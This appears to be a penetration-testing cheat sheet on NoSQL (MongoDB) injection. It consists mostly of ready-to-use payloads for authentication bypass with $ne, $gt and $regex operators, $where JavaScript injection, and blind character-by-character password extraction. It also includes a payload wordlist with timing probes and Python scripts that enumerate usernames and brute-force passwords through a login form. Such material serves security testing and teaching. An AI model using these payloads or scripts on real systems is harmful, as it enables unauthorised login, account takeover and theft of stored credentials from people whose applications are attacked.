# NoSQL injection

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## Exploit In PHP you can send an Array changing the sent parameter from _parameter=foo_ to _parameter\[arrName]=foo._ The exploits are based in adding an **Operator**: ```bash username[$ne]=1$password[$ne]=1 # username[$regex]=^adm$password[$ne]=1 #Check a , could be used to brute-force a parameter username[$regex]=.{25}&pass[$ne]=1 #Use the to find the length of a value username[$eq]=admin&password[$ne]=1 # username[$ne]=admin&pass[$lt]=s #, Brute-force pass[$lt] to find more users username[$ne]=admin&pass[$gt]=s # username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 # (not test and not admin) { $where: "this.credits == this.debits" }#, can be used to execute code ``` ### Basic authentication bypass **Using not equal ($ne) or greater ($gt)** ```bash #in URL username[$ne]=toto&password[$ne]=toto username[$regex]=.*&password[$regex]=.* username[$exists]=true&password[$exists]=true #in JSON {"username": {"$ne": null}, "password": {"$ne": null} } {"username": {"$ne": "foo"}, "password": {"$ne": "bar"} } {"username": {"$gt": undefined}, "password": {"$gt": undefined} } ``` ### **SQL - Mongo** ```javascript query = { $where: `this.username == '${username}'` } ``` An attacker can exploit this by inputting strings like `admin' || 'a'=='a`, making the query return all documents by satisfying the condition with a tautology (`'a'=='a'`). This is analogous to SQL injection attacks where inputs like `' or 1=1-- -` are used to manipulate SQL queries. In MongoDB, similar injections can be done using inputs like `' || 1==1//`, `' || 1==1%00`, or `admin' || 'a'=='a`. ``` Normal sql: ' or 1=1-- - Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a ``` ### Extract **length** information ```bash username[$ne]=toto&password[$regex]=.{1} username[$ne]=toto&password[$regex]=.{3} # True if the length equals 1,3... ``` ### Extract **data** information ``` in URL (if length == 3) username[$ne]=toto&password[$regex]=a.{2} username[$ne]=toto&password[$regex]=b.{2} ... username[$ne]=toto&password[$regex]=m.{2} username[$ne]=toto&password[$regex]=md.{1} username[$ne]=toto&password[$regex]=mdp username[$ne]=toto&password[$regex]=m.* username[$ne]=toto&password[$regex]=md.* in JSON {"username": {"$eq": "admin"}, "password": {"$regex": "^m" }} {"username": {"$eq": "admin"}, "password": {"$regex": "^md" }} {"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }} ``` ### **SQL - Mongo** ``` /?search=admin' && this.password%00 --> Check if the field password exists /?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password /?search=admin' && this.password && this.password.match(/^a.*$/)%00 /?search=admin' && this.password && this.password.match(/^b.*$/)%00 /?search=admin' && this.password && this.password.match(/^c.*$/)%00 ... /?search=admin' && this.password && this.password.match(/^duvj.*$/)%00 ... /?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found ``` ### PHP Arbitrary Function Execution Using the **$func** operator of the [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) library (used by default) it might be possible to execute and arbitrary function as in [this report](https://swarm.ptsecurity.com/rce-cockpit-cms/). ```python "user":{"$func": "var_dump"} ``` ![https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit\_auth\_check\_10.png](<../.gitbook/assets/image (933).png>) ### Get info from different collection It's possible to use [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) to get info from a different collection. In the following example, we are reading from a **different collection** called **`users`** and getting the **results of all the entries** with a password matching a wildcard. **NOTE:** `$lookup` and other aggregation functions are only available if the `aggregate()` function was used to perform the search instead of the more common `find()` or `findOne()` functions. ```json [ { "$lookup":{ "from": "users", "as":"resultado","pipeline": [ { "$match":{ "password":{ "$regex":"^.*" } } } ] } } ] ```

\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %} ## MongoDB Payloads List [from here](https://github.com/cr0hn/nosqlinjection\_wordlists/blob/master/mongodb\_nosqli.txt) ``` true, $where: '1 == 1' , $where: '1 == 1' $where: '1 == 1' ', $where: '1 == 1 1, $where: '1 == 1' { $ne: 1 } ', $or: [ {}, { 'a':'a ' } ], $comment:'successful MongoDB injection' db.injection.insert({success:1}); db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1 || 1==1 || 1==1// || 1==1%00 }, { password : /.*/ } ' && this.password.match(/.*/)//+%00 ' && this.passwordzz.match(/.*/)//+%00 '%20%26%26%20this.password.match(/.*/)//+%00 '%20%26%26%20this.passwordzz.match(/.*/)//+%00 {$gt: ''} [$ne]=1 ';sleep(5000); ';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000); {"username": {"$ne": null}, "password": {"$ne": null}} {"username": {"$ne": "foo"}, "password": {"$ne": "bar"}} {"username": {"$gt": undefined}, "password": {"$gt": undefined}} {"username": {"$gt":""}, "password": {"$gt":""}} {"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}} ``` ## Blind NoSQL Script ```python import requests, string alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;" flag = "" for i in range(21): print("[i] Looking for char number "+str(i+1)) for char in alphabet: r = requests.get("http://chall.com?param=^"+flag+char) if ("" in r.text): flag += char print("[+] Flag: "+flag) break ``` ```python import requests import urllib3 import string import urllib urllib3.disable_warnings() username="admin" password="" while True: for c in string.printable: if c not in ['*','+','.','?','|']: payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c) r = requests.post(u, data = {'ids': payload}, verify = False) if 'OK' in r.text: print("Found one more char : %s" % (password+c)) password += c ``` ### Brute-force login usernames and passwords from POST login This is a simple script that you could modify but the previous tools can also do this task. ```python import requests import string url = "http://example.com" headers = {"Host": "exmaple.com"} cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"} possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ] def get_password(username): print("Extracting password of "+username) params = {"username":username, "password[$regex]":"", "login": "login"} password = "^" while True: for c in possible_chars: params["password[$regex]"] = password + c + ".*" pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False) if int(pr.status_code) == 302: password += c break if c == possible_chars[-1]: print("Found password "+password[1:].replace("\\", "")+" for username "+username) return password[1:].replace("\\", "") def get_usernames(prefix): usernames = [] params = {"username[$regex]":"", "password[$regex]":".*"} for c in possible_chars: username = "^" + prefix + c params["username[$regex]"] = username + ".*" pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False) if int(pr.status_code) == 302: print(username) for user in get_usernames(prefix + c): usernames.append(user) return usernames for u in get_usernames(""): get_password(u) ``` ## Tools * [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration) * [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite) ## References * [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) * [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) * [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)

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